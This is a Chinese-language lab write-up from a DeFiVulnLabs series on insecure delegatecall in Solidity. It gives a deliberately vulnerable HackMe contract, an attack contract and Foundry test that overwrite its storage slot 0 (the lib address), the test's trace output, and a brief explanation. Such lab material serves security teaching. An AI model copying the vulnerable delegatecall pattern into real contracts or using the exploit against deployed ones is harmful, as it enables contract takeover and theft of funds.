DeFiVulnLabs靶场(三)不安全的Delegatecall2
DeFiVulnLabs详解汇总 [作者 Ice ThirdSpace]
- 漏洞合约源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Lib {
uint public someNumber;
function doSomething(uint _num) public {
someNumber = _num;
}
}
contract HackMe {
address public lib;
address public owner;
uint public someNumber;
//构造函数设置owner
constructor(address _lib) {
lib = _lib;
owner = msg.sender;
}
//调用lib方法的doSometing函数,用于设置someNumber的值
function doSomething(uint _num) public {
lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
}
}
- 攻击和测试合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "../src/Delegatecall2.sol";
import "forge-std/Test.sol";
contract Attack {
address public lib;
address public owner;
uint public someNumber;
HackMe public hackMe;
constructor(address _hackMe) {
hackMe = HackMe(_hackMe);
}
function attack() public {
hackMe.doSomething(1);
}
}
contract ContractTest is Test {
Lib libContract;
HackMe hackmeContract;
Attack attackContract;
address Alice;
function setUp() public {
Alice = vm.addr(1);
}
function testDelegatecall() public {
libContract = new Lib();
hackmeContract = new HackMe(address(libContract));
console.log("Alice address is ", address(Alice));
console.log("HackMe.lib address is ", hackmeContract.lib());
attackContract = new Attack(address(hackmeContract));
vm.prank(Alice);
address(attackContract).call(abi.encodeWithSignature("attack()"));
console.log("HackMe.lib address is ", hackmeContract.lib());
console.log("Exploit completed, lib has been changed");
}
}
- 测试结果
$ forge test Delegatecall2.t.sol -vvvv
[?] Compiling...
[?] Compiling 1 files with Solc 0.8.30
[?] Solc 0.8.30 finished in 2.97s
[PASS] testDelegatecall() (gas: 650815)
Logs:
Alice address is 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf
HackMe.lib address is 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
HackMe.lib address is 0x0000000000000000000000000000000000000001
Exploit completed, lib has been changed
Traces:
[650815] ContractTest::testDelegatecall()
├─ [58909] → new Lib@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
│ └─ ← [Return] 294 bytes of code
├─ [232111] → new HackMe@0x2e234DAe75C793f67A35089C9d99245E1C58470b
│ └─ ← [Return] 936 bytes of code
├─ [0] console::log("Alice address is ", 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf) [staticcall]
│ └─ ← [Stop]
├─ [507] HackMe::lib() [staticcall]
│ └─ ← [Return] Lib: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]
├─ [0] console::log("HackMe.lib address is ", Lib: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f]) [staticcall]
│ └─ ← [Stop]
├─ [195129] → new Attack@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
│ └─ ← [Return] 862 bytes of code
├─ [0] VM::prank(0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf)
│ └─ ← [Return]
├─ [2808] Attack::attack()
│ ├─ [1849] HackMe::doSomething(1)
│ │ ├─ [514] Lib::doSomething(1) [delegatecall]
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [507] HackMe::lib() [staticcall]
│ └─ ← [Return] ECRecover: [0x0000000000000000000000000000000000000001]
├─ [0] console::log("HackMe.lib address is ", ECRecover: [0x0000000000000000000000000000000000000001]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("Exploit completed, lib has been changed") [staticcall]
│ └─ ← [Stop]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.16ms (1.50ms CPU time)
- 简要说明
Lib 合约地址 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
HackMe 合约地址 0x2e234DAe75C793f67A35089C9d99245E1C58470b
HackMe 合约的状态变量 lib 就是传入的 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
攻击合约调用 attack() 函数,内部调用 HackMe 合约的 doSomething() 函数
而 HackMe 合约的 doSomething() 函数委托调用 Lib 合约的 doSomething() 函数
传入参数 1 之后,改变的是 HackMe 合约的 slot0 即状态变量 lib